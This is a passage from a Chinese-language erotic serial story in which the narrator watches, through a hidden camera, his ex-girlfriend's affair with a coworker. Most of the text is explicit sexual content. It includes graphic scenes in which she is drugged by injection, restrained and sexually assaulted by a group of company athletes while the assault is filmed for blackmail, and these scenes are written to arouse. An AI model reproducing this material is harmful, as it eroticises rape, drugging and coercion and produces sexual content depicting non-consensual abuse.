美乳在前、阿痞岂有闲着的道理,只见他两张巨掌袭去,扯掉那件松脱的胸罩,抓着软绵绵的乳房用力揉挤起来。

“啊……好舒服……噢……用力一点……蹂躏我……老公……你好棒……啊……人家被弄得……好舒服……”

小甜仿佛浪蹄子般又喘又叫,我和她作得再激烈也不曾见她如此过!难道阿痞真得那么行吗?我虽然满怀不甘,其实并不恨她离弃我,只是心痛她对我那么绝情。

不久阿痞爬起来,他要小甜站着,却必须像狗一样弯下腰手脚碰到床面,让他从后面进入体内。

“走!”他下体顶着小甜屁股、肉棒插在里面,竟要她爬着走!

“……不行……腿软了……”小甜辛苦的抓着床褥哀求。

“不行也得走!快!”阿痞屁股用力朝前一挺,小甜哀叫一声,果然像母狗般往前爬了。

“很好……下床!”阿痞双膝微弯、腿肌紧绷,丝毫不放松的朝前推顶,逼得小甜不得不继续往前爬。她虽然已经汗汁淋漓、两条玉腿不听使唤,但仍被阿痞用这种交配方式一路顶着爬到了落地窗边,位置刚好就在针孔摄影机的镜头下方,我可以更清楚看到她被阿痞玩弄的表情和姿势。

阿痞粗鲁的把她一对玉腕抓在一起,用窗帘绳胡乱捆绑,小甜也没抵抗或求他别这样,任由阿痞把她双臂不上不下吊着,阿痞绑好后手往下移、紧抓她纤腰开始猛送肉棒!

“啊……老公……你处罚我……用力地插我……噢……我的肉洞……都是水……都是为你流的……都是为你的……肉棒流的……”小甜发浪的甩乱长发、嘴里不知羞耻的取悦着阿痞,我真怀疑她到底知不知道她在喊些什么?萤幕中像母狗一样和阿痞交配的、真是我心爱的女人吗?

“抬起脸来看上面!”阿痞这样糟蹋我还不够,他将小甜的秀发往后扯,迫她仰着脸面向针孔摄影机,要我能更清楚看到她痛苦又愉悦的表情。

“叫啊!继续说我喜欢听的话!我就用大鸡巴插到你高潮!”可恨的阿痞分明是要她叫给我听的。

“老公……你好利害……我……我……全都是你的了……啊~~我要熔化了……我是小母狗……只给你骑的……小母狗……”小甜完全不知道我在看着她,只是一味的哼喘浪叫,我看她被肏到两条腿都快跪下去,只剩脚趾十分辛苦支撑身体重量,却还努力抬着屁股让阿痞干。

没出息的我又为这种女人心疼起来,我只希望阿痞能爱惜她,把她带到床上好好作爱,而不是这样蹂躏小甜。

小甜到最后终于连站都站不住,软趴趴的倒在落地窗前,只剩两条白嫩的手臂高高吊着。阿痞又骂了一些‘淫荡’、‘小母狗’……之类让我难以忍受的话(我真是白痴,小甜乐在其中,我不知为她生什么气?)才把她双手从窗帘绳上解下,拖着她的臂膀将她丢上床。

“自己把腿抓好!老公我要进去了!”阿痞可恶的命令她,小甜仰躺在床上激情哼喘,两腿像青蛙一样淫贱的张开,手还用力掰住自己腿弯,娇嫩的屄穴被肏得又黏又肿不忍卒睹。阿痞不急不徐爬过来跪在她双腿间,调整好角度后、龟头对准肉洞挤进去!小甜立即失魂的挺直腰呻吟出来,两手更用力抓住腿弯。

“嘿嘿……很舒服吧……”阿痞微喘着问道。

“好……舒服……我喜欢老公的……大棒棒……”她吐气如丝、春情荡漾的回答。再次从她话中满足征服欲的阿痞,双臂撑在小甜两侧,挺动结实的臀部,让湿淋淋的肉棒在嫩洞中长抽缓送。

“啊……好舒服……我好爱你……啊……那里快熔化了……”小甜迎合一波波的冲击、不停抬动屁股浪叫,阿痞则是愈动愈快,充满力量的豹腰在小甜高举的两腿间冲刺!湿透的男女下体结合在一起发出啪啪啪的水声。

“噢……啊……”小甜舒服的叫声不曾断过,她已不只像刚开始那样扶着腿让人干而已,而是紧握着自己脚踝,将两条腿拉开超过一百八十度,纤足高举在空中,这种姿势加上阿痞鸡巴的长度,让每一次顶入都达到了子宫!

“喔……我要射了……你准备好!我要射在里面!”阿痞汗流浃背的吼叫。

“不……今天不行……会……会生宝宝……”小甜激烈的哼喘着,不过一点也没想逃避的样子,看来是舍不得让她欲仙欲死的大肉棒抽离身体。

我不禁为她心急起来!真搞不懂事情都已到这种地步,我到底还为她担心些什么,或许是不甘愿别的男人的精液注满心爱女人的子宫、而可能令她受孕吧!但那又关我什么事?她满心欢喜的接受,我这个第三者根本没资格说话啊!

“会生小宝宝……你就生吧……你不愿意生我的宝宝吗?……”阿痞一点也没停止的意思,反而愈冲愈快,看来他是真的要射在小甜肚子里!

“啊……你……好坏……啊……嗯……要射……就射进来……吧!……怀孕……的话……你就娶我……”小甜放开自己的腿、激情的搂住阿痞后颈,两腿夹住他的腰,屁股跟着肉棒的撞击亢奋扭动!

‘不!他不会娶你的!不要让他射里面!’我又气又急的想叫出来。不知怎么,我直觉阿痞并不是真心要小甜,只是想藉她达到某些目的,但小甜却完完全全爱上他了,连最珍贵的东西都要送他。

“喔……”

“呀……”

然而一切都没办法阻止了!他们紧紧搂住彼此,交媾在一起的下体一阵一阵抽搐,口中发出满足而愉悦的呻吟,我知道阿痞已经把精液悉数射进她体内!原本属于我的小甜,此刻说不定已经怀了他的骨肉。

恨(四)

“你今晚会走吗?”她娇柔的问着阿痞,纤细的食指在他宽阔的胸膛上轻划着。

“你要我走吗?是不是还要服侍别的男人?”阿痞明知道小甜希望他能够留下,却还故意这样逗弄她。

“你这人怎么这样?人家都和你在一起了,你还说这种话?不理你了啦!”浓情蜜意反遭取笑的小甜,恼怒的推开阿痞坐起来。

阿痞知道自己玩笑开得过份了,忙趋向前搂住她香肩,油嘴滑舌的道:“生气啦?别这样嘛!你不知道全公司有多少男人喜欢你吗?我是对自己没信心所以才这样试探你的,算我说错话,我自己掌嘴!”阿痞说完真的举起手重重的打在自己脸上!

“啊!你干嘛啦!谁叫你打自己打得那么用力……你这笨蛋……”小甜赶忙抓住他的手,又爱怜又心疼的抚着那虚伪男人的脸颊,眼泪都快滚出来似的。

“不管有多少人喜欢我,我就只爱你一个……”她款款深情的说着。

看到这一幕,我不禁想起刚才在房里只为抱她一下,结果换来色狼的辱骂、还有脸上热辣的耳光,到现在都还会隐隐作疼呢!心中真是百感交集,爱情游戏比战争还残酷,战争中死的人最少还得到荣誉、被爱遗弃的人却永远翻不了身。

萤幕上的男女又亲亲我我彼此呵护起来,景象一如我半年前和她在一起时一样,只不过换了男主角。

“晚上时间这么长,我们是不是要多作几次?”阿痞无耻的问着小甜。

“你讨厌啦!谁要和你作那么多次?”小甜晕着脸嗔道,其实她话中根本掩不了喜悦。

“你不和我作,那我去找别的女人作!”阿痞仍然不改他逗弄小甜的无赖态度。

“你敢!”偏偏小甜每次都被他的话煽动,让阿痞更觉得他在小甜心中无可取代的分量。

我浑身起了一片疙瘩,他们这种热恋爱侣间肉麻的斗嘴话,要我这旧人情何以堪!

“对了,今晚我没回房,要是Robert来找你怎么办?”阿痞明知我被他绑得像座雕像、动都动不了,竟还故意问小甜这种问题。

“他不会来了。”小甜心虚的回答。

“你怎么那么肯定?难道他刚刚在这里?莫非……你们还在一起?”阿痞冷冷的看着她问。

“没有!我真的已经和他分手了!”小甜急得向情郎解释,接着又嗫嚅的说道:“只是他早些时候有来找我,被我骂了一顿……还给他一个耳光,我想他应该不会厚脸皮到再来吧?”

阿痞听完她自白后默不作声,故意用审视的眼神盯着她看,小甜以为阿痞不相信她的话,更是急得眼眶都红了。

“你不相信我?我现在马上和你过去找Robert,叫他以后别再和我说话,让他永远死心!”她哽咽的说道。其实不用她过来,我的心已经死了好几次,早就成了枯木死灰。

“不用啦,我没说不相信你,只是心里有些不舒服,想到你曾和Robert那家伙好过,我就……”阿痞装出一副情感受伤的纯情男模样,我恨不得有根球棒在手,冲过去轰烂那家伙的假面具。

“你别再那样说了,不然……你到底要我怎么作,才肯原谅我?”小甜一心只想让阿痞释怀。

我心中一阵酸楚:‘小甜啊!小甜!你不用求他原谅的……你没对不起他,你和我在一起时,他根本还没出现,你并没对他负心啊!大不了来找我求证,虽然这半年我们若即若离不算完全分手,但如果你那么爱他,在意我们曾在一起的事,我可以告诉他我们早就没关系了!甚至要我离开这家公司,永远不见你都可以……’

“你要让我欺负我才原谅你!”阿痞突然反身将小甜按倒在床上恶狠狠的说道。

小甜先是一脸错愕,后来可能看到他脸上戏嚯的表情,知道阿痞是故意吓她玩的,才恍然明白的大叫、捶着阿痞的胸膛不住娇嗔:“你怎么那么坏?……这样吓人!不理你了啦……”

小甜的生气其实是喜悦,阿痞不费力气就制住她的小拳头,抬起一条腿压住她身体,然后热烈的吻她的嘴,渴望已久的小甜激情的回应,一双玉乳兴奋得起伏抖颤,吻了好一阵子,阿痞松开嫩软的唇片,望着她矇眬娇眸柔声说道:“小母狗,老公还没原谅你呢!”

“那……你来处罚我吧……小母狗随老公怎么处罚都愿意……”看来小甜已经再次被挑起欲火,大胆的要阿痞占有她。

“这次可没那么简单,你不害怕吗?”阿痞摆出邪恶的面孔说道。

“人家好怕……”小甜吃吃笑着,那故作单纯的模样分明在挑逗阿痞。

“小骚货……你逃不掉的。”阿痞从床下提起他带来的背包,拉开拉链取出四根铐炼和一条黑布。

“要作什么?”第一次看到这种调情用的刑具,小甜有点兴奋、又害怕的问道。

“你怕了吧?要把你铐起来好好处罚,如果你现在求饶,我就放你一马!”阿痞双手拉紧铐炼、跨跪在小甜身体两侧假装凶恶的说道。

“我才不求饶……你来处罚我吧!处罚到我求饶为止……”她毫无羞耻的配合阿痞,依我看她不但一点都不怕,还十分渴望被阿痞“处罚”。

“你求饶我也不会饶你。”阿痞粗暴的拉起小甜,绕到后面用黑布幪绑她双眼。

“坏人……”小甜软绵绵的娇喊,却一点也不反抗。

“躺下去!”接着阿痞又把她推倒在床上,用四根铐炼锁住她的手脚,铐炼另一端再分别扣在四边床柱,小甜整人张成“大”字型、赤裸裸的尤如一块鲜美的甜点,等着阿痞来享用。

不知怎么,我心里愈来愈为她感到不安,阿痞这人的眼神让我说不上来的厌恶,总觉得他不会真心对待小甜,而小甜却是毫无戒心,恨不得把一切都给他。

“你这样子好煽情,就像被我俘虏的女奴……”阿痞大手在她胸腹间来回挲抚,小甜陶醉的轻哼着,或许是眼被幪着、看不到阿痞会对她做什么事,因此更显得刺激和兴奋。

阿痞也不愧是风流种,他的手不停在小甜敏感部位的周围爱抚和挑逗她,嘴也不甘寂寞印上她双唇,两条肉虫又饥渴的缠在一起,和前几次不同的是这回小甜手腿被铐着,只能热烈挺动身体来回应,就在他们彼此都已欲火高涨不可收拾时,他又突然放开小甜走下床。

“你怎么……又走了……”她红着脸哼喘不断,一头长发披散在床上,就算脸被黑布遮了一半,仍然是那么美丽动人。阿痞没回答她的话,自顾自的走向门口将锁转开,我正讶异!不知他企图为何时,他已拉开门,让五名高壮的男人进到房间。

看到这一幕的我,全身血液冲上了脑门,终于印证了心中最害怕的事。

‘畜牲!你怎能这样对小甜!可恶!……小甜快点清醒!快喊救命啊……’我心急如焚的挣扎着,想挣开牢固的捆绑冲过去救她,在手腕都磨到流血的努力下,绳子终于有点松脱,但要恢复自由却还有一大段距离,而阿痞已经领着那些男的围在床边。

我认出那些家伙都是公司球队的球员,体格又粗又魁,皮肤经年被阳光晒得黝黑发亮!而小甜纤柔雪白的娇躯一丝不挂,手腿都被铐着,根本就是等着被这些野兽撕扯蹂躏!

沉迷在热恋中的小甜,显然不知道她所爱的阿痞正要把她分享给别人,等了好久阿痞都没回来,她忍不住嗔喊道:“你到底跑哪去啦……很讨厌耶……把人家丢在这里……”

阿痞向那些球员比了一个安静的手势,接着爬上床,贴近小甜柔声地说道:“好老婆,我来了,这么想念我吗?”

“你好可恶,每次玩玩人家就跑开了……”她不满的厥着嘴、带些撒娇的说道。

“我说是要处罚你,那有让你舒服的道理?”阿痞邪恶的说着。这时萤幕前的我已经急如热锅上的蚂蚁,而小甜还不知道自己已经是一群恶狼的宵夜。

“你不是要把我这样铐着到天亮,碰都不碰我吧?”小甜担心的问阿痞,仿佛很怕阿痞不会玩她似的。

‘真是笨女人!他要是这样作就要感谢菩萨了,你不知道自己多危险吗!’我顾不得疼痛流血,仍拼命转动手腕想挣脱,不过双眼却紧盯电视,担心小甜的安危。

“怎么会……那不是太浪费了吗?”阿痞说着,双唇慢慢地移到她耳朵边轻吻,经过刚才的缠绵,他显然也知道这里也是小甜的性感带。

“哼……你真坏……”小甜又不争气的喘起来,女人通常被喜欢的男人随便碰碰就会兴奋,因此一点抗拒的能力都没有。阿痞舌头钻进她耳孔,一边作了手势,二名球员蹲下来,各出一张手开始狎玩她滑皙火辣的胴体。

“哼……噢……”被抚摸的小甜更激烈的呻吟起来,球员黑宽的巨掌各握起一边乳房使劲揉挤,洁白的奶肉和黝黑的指掌呈现强烈对比,被铐炼锁住的两条美腿也情不自禁的踢抖。

“……老公……你好粗鲁……啊……弄得人家……身体都软了……”她还不知道她正被三个男人同时玩,粉润的唇间不停吐出淫浪的话语。

一个球员玩够了她的乳房,手往下移到她两腿间,轻轻地拨弄着那道湿缝,“哼……”小甜修长的大腿要夹不夹的扭动,看起来更是诱人。

“舒服吗?喜不喜欢被弄啊……”阿痞已经完全离开她,只是在一旁出声问话,让小甜以为自己仍被爱人挑逗着。

“喜欢……好喜欢……被这样……弄……”意乱情迷的小甜大胆回应。

那些球员脸上都出现亢奋的神色,他们早都认识小甜,也想上她想很久了,今天她就像一块新鲜的肉摆在面前,非但不会逃走,还像小妻子般娇甜的取悦他们,无怪乎每个人都像在作梦般,也对阿痞的大方感谢得快哭出来。

这时一名球员揉着小甜乳房,牙齿咬住奶头不轻不重的拉扯,另一名球员的手指已经挖入滑漉漉的耻缝中,小甜“老公!老公!”热烈喊着,听得他们骨头都快酥了。

这些球员轮翻上阵,但由于他们一直保持着一张嘴和两只手在玩弄她,因此小甜并没发觉,一直以为只有阿痞和她在一起,她可能作梦都想不到阿痞会对她作这种事吧!所以即使触感有些差异她也没怀疑。

而在萤幕前的我经过一番努力,手腕的绳子已经快要可以挣开了!但小甜的情势却愈来愈紧急,那球员的手指完全插进她阴道里,她却扭着屁股舒服的叫他亲老公,还求他弄快一点。

旁边围着的人看她发浪的样子哪还受得了,几张大手和饥渴的干唇全都一起上了,在小甜洁白如缎的肉体上又揉又舔。小甜第一次被那么多人一起调情,一下子没能清醒过来,还更激烈的回应,不过几秒后她终于发觉不对,立即惊恐的大叫:“你们是谁?救命啊……阿痞你在那里!放开我!不要再舔了!好恶心!你们到底是谁?阿痞快来救我啊!……唔……唔……”她喊叫到一半就被球员吻住双唇,再也发不出声来了!

这时阿痞手执一管针筒,邪恶笑着走近她:“我在这里,别怕,他们只想和你乐一乐而已……”爬在小甜身上的球员看阿痞走来,立刻让出一个位置,改把她雪白的手臂紧压在床上,小甜想叫叫不出声,两腿一直在床上乱蹬。

“给你一点点兴奋剂,陈副总交待过,要你好好服侍大家,在你面前这些可都是球队得冠军的英雄呢!”阿痞边说边排掉针筒内多余的空气。我不禁怒火攻心,这些人竟然把小甜当成犒赏的礼物!

我的手只差一点就可以动了,但小甜打完针后,却被披上旅馆提供的室内和服,让他们拥簇着带离房间。

‘不!小甜不能跟他们走,老天爷,多给我一点时间吧!’我急得快把自己手弄断,不过似乎是没必要,因为几秒钟后,我房间的门开了,二名体格壮硕的球员将小甜挟在中间走进来,后面还跟着三名球员以及狞笑的阿痞。

我愤怒的瞪着阿痞,眼神几乎快将他吃掉!

恨(五、完)

**********************************************************************前言:完蛋了,写到后来愈看愈像爱情小说,变态狂尼玉也有人性?真是肉麻到极点!还好,这个故事结束了!赶快调整本性,回到我本业写《美少妇的哀羞》!看完想吐的人请不要客气……**********************************************************************

阿痞笑嘻嘻的排开球员走向我,故意斜着头看我被捆在椅子后面的双手,假慈悲的叹道:“啧啧啧……真是可怜哪!为了女人竟然把自己手弄成这样,你可真是有情有义呢!只可惜这个女人却拼命的倒贴我,连那么臭的脚趾头都肯帮我舔。”

小甜脸上的黑布已经拿掉,不过进房后她一直没正眼看过我,不知道是不是觉得对我有些愧疚,也或许我想太多,她可能只是不屑和我相认吧!除此之外,轻量迷幻药的影响,已使她精神有点恍惚。

阿痞拉出塞在我嘴里的布条,我立即愤怒的吼道:“你到底想怎样?小甜早就和我分手了!她是那么喜欢你、你怎么舍得这样对她?!”

小甜听到我的话终于有了反应,但却是充满怨恨的看着我、咬牙切齿的说:“我的事不用你管!都是你害得我没办法得到幸福,现在还想挑拨我和阿痞的感情!要不是你……他也不会这样对我!!”说完后又不甘心的流下泪来。

“我……”我的心被一颗重锤狠狠打中,虽然痛得死去活来、却一句也无法叫出口,没想到她把阿痞作的负心事,全归咎于我和她的旧情上面!

“听到没有!你还真惹人嫌呢!她和我们玩得快快乐乐,你算什么?想英雄救美吗?”阿痞得意笑着,我只觉一股怒气涌上心头,忍不住愤恨的道:“我根本没想过要救她,只是自己想逃而已!她和我一点关系也没有!放我走!这里留给你们去玩吧!”

“你!……”小甜听到我的话也不禁惊怒的瞪过来,我一向对她呵护备至,就算她不给好脸色我还是逆来顺受,谁叫我自己心里有愧歉!这是第一次对她说出绝情的话,我负气的转开脸不和她目光接触,虽然痛快的发泄了,其实要我不理会小甜安危是不可能的。

“怎么能让你走呢?你要留下来指导我们才对啊!她以前是你的女朋友,你应该很清楚她身体吧?”阿痞无耻的说道。

“你说什么!你简直不是人!”小甜终于忍无可忍朝阿痞大叫!

“你不是说要作我的小母狗吗?我带你来和这些球员哥哥配种、你怎么可以拒绝?”阿痞禽兽般的说道。

“能放开我吗?我来帮你们玩弄这贱人。”我冷静的要求阿痞。

“嘿嘿……真是有趣了,愈多人愈好玩,给他松绑吧!”听到我的请求,阿痞更加兴奋起来,他要那些球员替我松绑。小甜已经惊恐绝望得脸都白了!

“你们不可以这样……怎么可以这样对我……不行……”她往后退一步、转身企图往门口逃,结果马上就被两边的球员像抓小鸡般逮住臂膀。球员将我绳子解下后,我摆出报复的狰狞面孔走向小甜,她在球员挟制下惊慌的挣扭。

“你别过来!你和他们一样都不是好东西!怎么可以这样对我!……”

“反正我对你好的时候你也不当我是好东西,又不是现在才这样!”我露出邪恶的笑容回答,伸手拽住她双边衣襟、粗暴的往下一扯!小甜整个白皙赛雪的上半身全裸露出来,她似乎还不能接受这个事实,受尽屈辱的大眼睛慢慢涌满泪水,隔了几秒才尖叫出来:“救命啊!有人强奸我!救命啊!”

阿痞在一旁抱着手淫笑、任由她阵天价响的叫喊,想必这层楼都已让他打点好了,所以才可以在这里为所欲为。那两名球员用力抓着小甜,让她根本没抵抗的余地。

我回头朝阿痞提议:“要不要我先把她弄浪,再让你们上?”

“嘿嘿……!这小子愈来愈上道,一切就看你了。”阿痞允许了我的请求,让我的计划愈来愈有希望成功。

“无耻!你真是不要脸的畜牲!没用的男人!我恨我为什么认识你!……”小甜用尽恶毒的说话骂我,我却一点都不为所动,还扬起手给她一个耳光,怒喝道:“骂够了没?!贱人!”

可能我用的力道不小,她粉嫩的脸颊马上红了,人也吓得噤声发抖,隔了半晌才悲恨的抽泣起来。我朝那两名抓住小甜的球员道:“交给我吧!我先来帮你们暖身。”那两名球员迟疑的看向阿痞,阿痞点了点头默许,他们才松开小甜退到旁边去,此时迷幻药的效力若有似无,小甜呆呆的站在原地没任何反应。

“嘿嘿……你想背叛我是吗?看你今天怎么被轮奸……真是活该……”我伸手朝她胸口袭去,粗鲁的捏住柔软滑皙的乳房。

“不要脸!”她突然清醒过来还我一个耳光,我就是在等她反击,脸上吃了热辣辣的一掌后,我假装怒不可遏的揪住她头发,膝盖往她柔软的小腹一顶!

“啊……”她痛苦的脸都扭曲了。

“贱货!你竟敢打我?看我怎么修理你!”我吼着!再将她往墙壁拽,她整个人撞在墙上软了下去,不过这时已经在门旁边了,那些球员都在我后面看我怎么修理小甜,我一个箭步向前,拉起她压在墙上、粗暴的搓揉一双玉乳,她清醒过来又开始抵抗,我抓住机会、嘴贴在她耳边说了一句:“等一下别回头,快点跑去求救!”小甜还没反应过来,我就迅雷不及掩耳拉开门将她推出外面,然后关起门、转身挡住那些正冲过来的彪壮球员。

“Robert!Robert!”她还在外面捶着门板一直喊我名字,我死命护着门,高声叫道:“快跑啊!笨蛋!”那些球员开始痛殴我,我要出声愈来愈困难,随着如雨般落在身上的拳脚,眼前一阵阵晕黑,不久终于不醒人事了,牵挂的只是小甜到底有没有跑掉……

※※※※※

一阵突如其来的冰冷冲醒了我,睁开眼一切都还是模煳的,却听到杂乱的水声、男人兴奋欢唿的声音,还有女人的悲叫。

‘小甜……小甜怎么还在……’我奋力想撑起身体站起来,手臂和胸口却痛得无法使力。

“醒了吗?废物!”一只脚踩在我背上,那个熟悉的声音是陈副总的,我努力让自己看清楚眼前处境,发现是在旅馆的浴室,不过已经不是我那间房,而是陈副总住的贵宾套房,光是这浴室就比我房间还大。我目光搜索到小甜,她正站着弯下腰、双手按在浴缸边、将屁股面向阿痞和那些球员,而阿痞正拿着一条水管,用激射的水柱冲洗她下阴。

“你们在作什么!”我愤怒挣扎想爬起来,却被陈副总重重踢了一脚!

“臭小子!竟敢放她逃走,还好我在电梯口拦到她,差点就让她跑出去!”这间旅馆是公司投资事业之一,又因为活动全被公司包下来,看来小甜和我是插翅难逃了。

“你就配合一下吧,反正我们也只是找找乐子,事后大家心照不宣,一样上班当同事,反正这女人也想抛弃你,何不趁这个机会把她玩够本?而且我们还把她被玩的样子录下来,以后有了这个、几时想召她当妓女都没问题。”陈副总得意的说着,果然有个家伙拿V8正在拍摄小甜被蹂躏的样子。

小甜似乎又被施打了迷幻药,神智看起来比刚才还不清楚,阿痞残忍的用水柱瞄准翻红的嫩缝喷射,鲜红的肉片被冲得乱颤,她两条玉腿根本站都站不直,几乎没几秒就要软倒在地上一次,但马上又会被那些男人逼着站起来,继续接受阿痞的欺凌。

“你们休想!快点放她走!”我愤怒的挣扎着,从陈副总脚下爬起来冲向阿痞,一名球员马上过来朝我肚子就是一拳,突如其来的痛击让我倒在地上抽搐,他们把我拖到浴缸边丢着,再把小甜带过来,让她跨过我、一样弯下身体趴在上方,我仰起头就看到她微微摆动的乳房、还有两条修直大腿间垂着水珠的尖形毛丛。

“Robert……我……”小甜也低头看到了我,一副悲凄哀羞、欲言又止的样子、她两边大腿一直在发抖。

我苦笑着闭起眼,摇摇头虚弱的说:“对不起……救不了你,我真是失败透了,你要是早点离开我……可能就不会遇到这种事……”

她才刚出声不知想回答什么,残忍的水柱又射向她屁股,我感到水花不断溅到我脸上和身上,小甜可怜的哀鸣着,没多久就支撑不住软倒在我身上、冰冷的身躯一直发抖。

“起来!”球员又过来逼她,我忍不住抱紧怀中几近痉挛的胴体、侧身将她保护在下面,朝阿痞吼道:“可以了吧!她已经受不了了!”球员不说分由又踹了我二脚,我咬着牙不退却,后来又来了二名球员硬将我拉开,还扭住我手臂把我按压在地上,没我的屏障,小甜蜷着身体孤单无助的缩在浴缸旁,我眼睁睁看阿痞走过去扶起她,然后抓着她两边腿弯将她抱起来,小甜就像小女生被大人端着尿尿一样悲惨的张着下体!

“再帮她洗干净一点,等一下就让你们玩了。”阿痞抱她坐在马桶上,手指拉开耻阜,娇嫩女性器官的阴唇、肉蒂和阴道入口全被翻了出来,一名球员持阴道冲洗器,把嘴管粗鲁的插入肉洞里,用力将清水挤进去!

“呃……”小甜被他们摧残到连嘴唇都失去血色,但迷幻药已经使她精神状态陷入亢奋,因此并没有激烈的挣扎,满满一瓶水完全注入她子宫,球员把嘴管拔出后,阿痞还叫他用手指堵住肉洞、不让水马上流出来。

“知道为什么要洗她阴道吗?”阿痞转头问我。

“我不想知道!赶快放开她!”我既心疼又愤怒的吼叫。

“因为刚刚我已射了好多精液在她肚子里,要是不洗干净就换别人的鸡巴进去,对后面的人是很不礼貌的。”阿痞无耻的向我‘解释’。

“畜牲!”我已经激动到不知能骂什么话!阿痞把小甜抱到我上方,才叫那球员拔出手指,一股温黏的水落在我头上。接着他们又用锋利的刀片刮光她的耻毛,下体白熘熘的小甜,在阿痞怀中更像一个小女娃了。

“已经很干净了!大家尝尝鲜吧!”阿痞继续捧着她在浴室走动,那些球员像等吃午餐的狗一样在地上蹲成一排,阿痞把她抱到每个人面前,让他们轮流舔吃她的嫩穴,小甜神智恍惚不清,嘴里不断发出兴奋的呻吟。一个女孩子家被人糟蹋成这样,我为她以后的命运感到担忧,她今天被欺负我也有责任,要是我能娶她、能给她幸福,她也不致于落入阿痞柔情的陷阱,而搞成今天这种模样。

“叫他们住手!”我不知道那来的力量、摆脱了按住我的两名球员,挣扎的站起来、指着陈副总怒吼。陈副总可能被我来势吓着,一时间愣在那里,所有人也停下动作,原本淫笑兽嚣不断的浴室突然安静下来。

我暴睁双目朝他撂下狠话:“你听着!有种你最好把我杀死!如果我还活着出去!你准备请十几个保镳、每天二十四小时跟着你还有你儿子!我发誓,不管会被关多久、甚至判死刑!我都会让你们死得非常难看!”可能我当时的表情非常恐怖,让陈副总相信我真的会作到吧!

只见他隔了几秒后才吞了口口水,勉强挤出笑容,沙哑的说道:“欸……老弟,别这样,女人嘛,到处都有,要几个我都可以给你,不要扫大家的兴……”

“放屁!一句话!有种杀了我!你想清楚吧!我连命都可以不要!但一定会拖你下地狱!”我总算逮住他的弱点,其实他这种有钱有地位的人什么都不怕,就怕没命享受,要是有人随时对他生命构成威胁,对他而言就是最痛苦的折磨。他当然也不可能为了一个女人杀人,这些人可能会仗着权势玷污女职员,但要他们为此犯上杀人罪却一点都不值得。

陈副总僵在那里看着我,可能在权衡利害吧,其实我心里既害怕又紧张,要是最后这招没效,我就真得无能为力救小甜了。为了让他更知道我的决心,我转身抓起放在盥洗台上用来为小甜剃毛的刮刀,恐吓着陈副总“怎样!杀死我啊!我死在你房里!看你怎么逃脱关系!”语毕就要往自己咽喉抹去!

“住手!”陈副总急忙大叫,我把刀片横在颈边、誓死如归的看着他。

“唉……干嘛玩得这么绝?这个女人这样对你,还值得你为她拼命吗?……算了!虽然我不知道你是不是真的不怕死,但我可没必要为一个女人冒这么大风险。”他淡淡的说道,接着指示阿痞:“放开她吧!我出钱带你们去玩更好的货色,这种自己送上门的烂货、比花钱找的付出代价会更大!”

那些球员虽然不甘心到极点,却不敢违背大老板的命令,只能暗暗骂了几句三字经站起来,到外面找自己衣裤穿。

“哼!这小贱人还你!不过别说我没劝你,这种有新忘旧的烂货,是不可能再回你身边!自己想清楚吧!傻蛋!”阿痞刻薄说完后就把小甜丢给我。

“我们出去了!放心吧!今晚不会回来了,你可以用我的房间,趁她还没清醒,你还可以享受享受,嘿嘿……不过你要守诺言,以后不能找我麻烦。”陈副总走到浴室门口、回头暧昧的向我说。

“你也放心!只要你不再对她有不良企图,我会离开公司、永远不会和你见到面!”我冷冷的回答。

“这样最好,我也对她提不起兴趣了。”陈副总懒懒的说。

“等一下!还有一件事,把刚才录的带子给我。”我突然想起小甜被拍摄下所有被玩弄的过程。陈副总总共将两卷带子交到我手上,一卷是小甜和阿痞缠绵的过程、一卷则是她在浴室被凌辱的影带。

※※※※※

小甜软绵绵的娇躯那么熟悉的躺在我臂弯,矇眬的水眸充满诱惑,唇间吐着滚热芳香气息,她搂着我的脖子渴望我更进一步抚慰她,这是半年来第一次重新体验热恋时的感觉,我享受着这种不真实的满足,努力克制自己欲念帮她穿回衣服,然后抱她回房间。我不是不为所动,但我知道她现在的神智被药物所迷乱,根本不清楚我是谁!要是趁这种时候侵犯她,只怕她会更恨我吧!我已经决定不再见她,将默默离开公司。

不过为了确保安全,我还是在她房里守到天亮,直到和她同房的女同事差不多该回来了,我才起身准备回房收拾行李,本来今天还有许多活动和行程,但我打算不告而别,再把辞呈寄到公司。

离去前,我情不自禁再望了沉睡中的她一眼,想把她的样子深藏在心里,因为这可能是这辈子最后的印象了。虽然曾有过那么熟悉又亲密的关系,但对现在的我而言,她却是近在咫尺而遥不可及。

“对不起……我只能作到这样了,耽误你的青春,连保护你都只能够保护一半,像这种男人确实该让人轻视……”我叹了口气轻声说道。小甜睡梦中的容颜显得美丽而宁静,我希望是因为我整晚待在她身边而让她心安入睡,虽然她根本不知道,但我宁可这么想安慰自己。

怀着分别的落寞,我安静的离开了,回到房间,一开门就看到昨晚用来绑我的绳子还凌乱的挂在椅子上,我视若无睹的绕过它,拉开窗帘、让金黄色的阳光洒进房里,迎着晨曦伸了一个懒腰,原本沮丧的心情顿时开朗多了!接着就开始打包行李。

一切收拾好,我提着行李正要出门,走到穿衣镜前,才注意到镜中自己的模样,由于整晚没睡、眼球布满了血丝、头发也乱得像鸟窝,唇角还有被殴打留下的瘀青,手腕被绳子磨伤的部位肿起来,要说多狼狈就有多狼狈!

“妈的,真像从牢房逃出的犯人!”我自我调侃的笑了笑,这种样子出门不引人侧目才怪!只好转身回去将行李箱放在床上,想找出墨镜和帽子掩饰,帽子被我压在最下层,我懒得再移开上面的衣物,因此手直接伸进里面摸索。

“你真的……要这样走了吗?”

就在我找得快没耐性时、身后突然传来一声轻唤,我胸口跟着热了起来、那是我多么思念的声音,我几乎以为是自己的幻想,自从小甜不再爱我开始,就不曾听过这种依赖动听的声音,我停下手边的动作、慢慢的回头,小甜正好站在我身后。

“是……是啊,我该走了……”她一双美眸怯生生的看着我,让我变得不知所云。

两人沉默了好一阵子,她终于鼓起勇气拉起我的手,小心抚着腕上的伤痕,哽声问道:“是不是很痛……”

“嗯……不会啦,还好……”我摇了摇头回答。

“骗人……一定很痛……”她又举起手摸我脸上的瘀伤,声音变得更抖颤而难控制,泪珠也一颗接一颗滚下来!

“对不起……对不起……”我还在怀疑这一切是否在梦中,她已经投入我怀里,抱着我道歉痛哭起来,那温暖悸动的触感,确确实实是从小甜身体传来的。

“你都看到了……对不对……你看到……我和阿痞作爱……我还想害你……我……我是坏女人……我还骂你……打你……帮阿痞羞辱你……你却对我那么好……不顾一切救我……”她数落着自己的不是、愈哭愈是伤心。

